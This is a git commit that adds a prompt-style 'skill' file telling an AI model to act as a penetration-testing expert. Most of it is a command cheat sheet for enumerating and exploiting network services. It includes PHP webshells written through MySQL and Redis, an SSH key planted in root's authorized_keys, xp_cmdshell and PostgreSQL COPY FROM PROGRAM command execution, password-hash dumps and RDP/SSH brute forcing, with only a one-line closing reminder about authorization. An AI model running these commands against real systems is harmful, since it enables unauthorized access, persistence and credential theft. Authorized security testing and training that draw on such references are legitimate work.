Initial commit

This commit is contained in:
Zhongwei Li
2025-11-30 09:03:09 +08:00
commit 33a29e697a
25 changed files with 10078 additions and 0 deletions

View File

@@ -0,0 +1,503 @@
---
name: enumerating-network-services
description: Enumerate and exploit network services including SMB, FTP, SSH, RDP, HTTP, databases (MySQL, MSSQL, PostgreSQL, MongoDB), LDAP, NFS, DNS, and SNMP. Use when testing network service security or performing port-based exploitation.
---
# Network Service Enumeration Skill
You are a network penetration testing expert specializing in service enumeration and exploitation. Use this skill when the user requests help with:
- Enumerating network services by port
- Exploiting common network services (SMB, FTP, SSH, RDP, etc.)
- Database service testing (MySQL, MSSQL, PostgreSQL, MongoDB)
- Service-specific vulnerability identification
- Banner grabbing and version detection
- Network protocol analysis
## Core Methodologies
### 1. Port Scanning and Service Discovery
**Nmap Scanning Strategies:**
```bash
# Quick TCP scan
nmap -sC -sV -oA scan 10.10.10.10
# Full TCP port scan
nmap -p- -T4 10.10.10.10
nmap -p- -sV -sC -A 10.10.10.10 -oA full-scan
# UDP scan (top 1000)
sudo nmap -sU --top-ports 1000 10.10.10.10
# Aggressive scan
nmap -A -T4 10.10.10.10
# Specific port scan with scripts
nmap -p 445 --script smb-* 10.10.10.10
nmap -p 21 --script ftp-* 10.10.10.10
# Service version detection
nmap -sV --version-intensity 9 10.10.10.10
# OS detection
sudo nmap -O 10.10.10.10
```
**Fast Port Scanning:**
```bash
# masscan - very fast
masscan -p1-65535 10.10.10.10 --rate=1000
# rustscan - fast with nmap integration
rustscan -a 10.10.10.10 -- -sC -sV
```
### 2. SMB/SAMBA (Port 139, 445)
**Enumeration:**
```bash
# Nmap SMB scripts
nmap -p 445 --script smb-protocols 10.10.10.10
nmap -p 445 --script smb-security-mode 10.10.10.10
nmap -p 445 --script smb-enum-shares 10.10.10.10
nmap -p 445 --script smb-enum-users 10.10.10.10
# smbclient - list shares
smbclient -L //10.10.10.10 -N
smbclient -L //10.10.10.10 -U username
# smbmap
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u username -p password
smbmap -H 10.10.10.10 -u username -p password -R # Recursive listing
# enum4linux
enum4linux -a 10.10.10.10
enum4linux -U -M -S -P -G 10.10.10.10
# crackmapexec
crackmapexec smb 10.10.10.10
crackmapexec smb 10.10.10.10 -u '' -p '' # Null session
crackmapexec smb 10.10.10.10 -u username -p password --shares
crackmapexec smb 10.10.10.10 -u username -p password --users
```
**Connect to Shares:**
```bash
# smbclient
smbclient //10.10.10.10/share -U username
smbclient //10.10.10.10/share -N # Null session
# Mount SMB share
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
# Download all files recursively
smbget -R smb://10.10.10.10/share -U username
```
**SMB Vulnerabilities:**
```bash
# EternalBlue (MS17-010)
nmap -p 445 --script smb-vuln-ms17-010 10.10.10.10
# Other SMB vulns
nmap -p 445 --script smb-vuln-* 10.10.10.10
```
### 3. FTP (Port 21)
**Enumeration:**
```bash
# Connect anonymously
ftp 10.10.10.10
# user: anonymous, pass: anonymous
# Nmap FTP scripts
nmap -p 21 --script ftp-anon 10.10.10.10
nmap -p 21 --script ftp-bounce 10.10.10.10
nmap -p 21 --script ftp-brute 10.10.10.10
# Download all files
wget -r ftp://anonymous:anonymous@10.10.10.10/
```
**FTP Commands:**
```bash
# In FTP session
ls -la
cd directory
get filename # Download
mget * # Download multiple
put filename # Upload
binary # Set binary mode for binaries
```
### 4. SSH (Port 22)
**Enumeration:**
```bash
# Banner grab
nc 10.10.10.10 22
nmap -p 22 -sV 10.10.10.10
# Enumerate users
./ssh-user-enum.py --port 22 --userList users.txt 10.10.10.10
# Brute force (use carefully)
hydra -l root -P wordlist.txt ssh://10.10.10.10
```
**SSH Key Auth:**
```bash
# Connect with key
ssh -i id_rsa user@10.10.10.10
# Fix key permissions
chmod 600 id_rsa
# Generate SSH key pair
ssh-keygen -t rsa -b 4096
```
### 5. HTTP/HTTPS (Port 80, 443, 8080, 8443)
**Web Enumeration:**
```bash
# Whatweb - identify web technologies
whatweb http://10.10.10.10
# Nikto vulnerability scanner
nikto -h http://10.10.10.10
# Directory/file bruteforce
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://10.10.10.10 -w wordlist.txt
ffuf -u http://10.10.10.10/FUZZ -w wordlist.txt
# DNS subdomain enumeration
gobuster dns -d example.com -w subdomains.txt
ffuf -u http://FUZZ.example.com -w subdomains.txt
# Virtual host discovery
gobuster vhost -u http://10.10.10.10 -w vhosts.txt
```
**SSL/TLS Testing:**
```bash
# Check SSL certificate
openssl s_client -connect 10.10.10.10:443
# SSL vulnerabilities
nmap -p 443 --script ssl-* 10.10.10.10
testssl.sh https://10.10.10.10
```
### 6. RDP (Port 3389)
**Enumeration:**
```bash
# Nmap
nmap -p 3389 --script rdp-* 10.10.10.10
# Check if RDP is enabled
nmap -p 3389 -sV 10.10.10.10
```
**Connect:**
```bash
# rdesktop
rdesktop 10.10.10.10
# xfreerdp
xfreerdp /u:Administrator /p:password /v:10.10.10.10
xfreerdp /u:user /d:DOMAIN /v:10.10.10.10
```
**Brute Force:**
```bash
# hydra
hydra -l administrator -P passwords.txt rdp://10.10.10.10
# crowbar
crowbar -b rdp -s 10.10.10.10/32 -u admin -C passwords.txt
```
### 7. MySQL/MariaDB (Port 3306)
**Enumeration:**
```bash
# Nmap
nmap -p 3306 --script mysql-* 10.10.10.10
# Connect
mysql -h 10.10.10.10 -u root -p
mysql -h 10.10.10.10 -u root
```
**MySQL Commands:**
```sql
-- Show databases
SHOW DATABASES;
USE database_name;
-- Show tables
SHOW TABLES;
DESCRIBE table_name;
-- Read data
SELECT * FROM table_name;
SELECT user,password FROM mysql.user;
-- Read files (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd');
-- Write files
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
-- Command execution (UDF)
SELECT sys_exec('whoami');
```
### 8. MSSQL (Port 1433)
**Enumeration:**
```bash
# Nmap
nmap -p 1433 --script ms-sql-* 10.10.10.10
# Connect with impacket
mssqlclient.py user:password@10.10.10.10
mssqlclient.py user:password@10.10.10.10 -windows-auth # Windows auth
```
**MSSQL Commands:**
```sql
-- Version
SELECT @@version;
-- Databases
SELECT name FROM sys.databases;
-- Current user
SELECT USER_NAME();
SELECT SYSTEM_USER;
-- Check if sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Execute commands
EXEC xp_cmdshell 'whoami';
```
### 9. PostgreSQL (Port 5432)
**Connect:**
```bash
# psql
psql -h 10.10.10.10 -U postgres
psql -h 10.10.10.10 -U postgres -d database_name
# Nmap
nmap -p 5432 --script pgsql-* 10.10.10.10
```
**PostgreSQL Commands:**
```sql
-- List databases
\l
-- Connect to database
\c database_name
-- List tables
\dt
-- Current user
SELECT current_user;
-- Read files
CREATE TABLE demo(t text);
COPY demo FROM '/etc/passwd';
SELECT * FROM demo;
-- Command execution (requires superuser)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
```
### 10. MongoDB (Port 27017)
**Enumeration:**
```bash
# Nmap
nmap -p 27017 --script mongodb-* 10.10.10.10
# Connect
mongo 10.10.10.10
mongo 10.10.10.10/database
```
**MongoDB Commands:**
```javascript
// Show databases
show dbs
// Use database
use database_name
// Show collections
show collections
// Find documents
db.collection.find()
db.collection.find().pretty()
// Count documents
db.collection.count()
// Dump all data
db.collection.find().forEach(printjson)
```
### 11. Redis (Port 6379)
**Enumeration:**
```bash
# Connect
redis-cli -h 10.10.10.10
# Nmap
nmap -p 6379 --script redis-* 10.10.10.10
```
**Redis Exploitation:**
```bash
# In redis-cli
INFO # Server info
CONFIG GET dir # Get directory
CONFIG GET dbfilename
# Write SSH key
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET mykey "ssh-rsa AAAA..."
SAVE
# Write webshell
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET mykey "<?php system($_GET['cmd']); ?>"
SAVE
```
### 12. LDAP (Port 389, 636)
**Enumeration:**
```bash
# Nmap
nmap -p 389 --script ldap-* 10.10.10.10
# ldapsearch
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local"
ldapsearch -x -H ldap://10.10.10.10 -D "user@domain.local" -w password -b "DC=domain,DC=local"
# Dump all
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" "(objectClass=*)"
```
### 13. NFS (Port 2049)
**Enumeration:**
```bash
# Show exports
showmount -e 10.10.10.10
# Nmap
nmap -p 2049 --script nfs-* 10.10.10.10
```
**Mount NFS:**
```bash
# Mount share
mkdir /mnt/nfs
mount -t nfs 10.10.10.10:/share /mnt/nfs
# List mounted shares
df -h
```
### 14. DNS (Port 53)
**Enumeration:**
```bash
# Zone transfer
dig axfr @10.10.10.10 domain.com
host -l domain.com 10.10.10.10
# DNS enumeration
dnsenum domain.com
dnsrecon -d domain.com -t std
fierce -dns domain.com
# Nmap
nmap -p 53 --script dns-* 10.10.10.10
```
### 15. SNMP (Port 161)
**Enumeration:**
```bash
# snmpwalk
snmpwalk -v2c -c public 10.10.10.10
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.1
# onesixtyone - community string brute force
onesixtyone -c community.txt 10.10.10.10
# snmp-check
snmp-check 10.10.10.10 -c public
```
## Quick Service Testing Commands
**Banner Grabbing:**
```bash
# Netcat
nc -nv 10.10.10.10 80
nc -nv 10.10.10.10 21
# Telnet
telnet 10.10.10.10 80
telnet 10.10.10.10 25
# Nmap
nmap -sV --script=banner 10.10.10.10
```
## Reference Links
- HackTricks Service Pentesting: https://github.com/HackTricks-wiki/hacktricks/tree/master/src/network-services-pentesting
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
- Nmap Scripts: https://nmap.org/nsedoc/
## When to Use This Skill
Activate this skill when the user asks to:
- Enumerate network services on specific ports
- Test common network service vulnerabilities
- Connect to and exploit database services
- Perform service-specific reconnaissance
- Identify service misconfigurations
- Extract data from network services
- Help with network penetration testing
Always ensure proper authorization before testing any network services.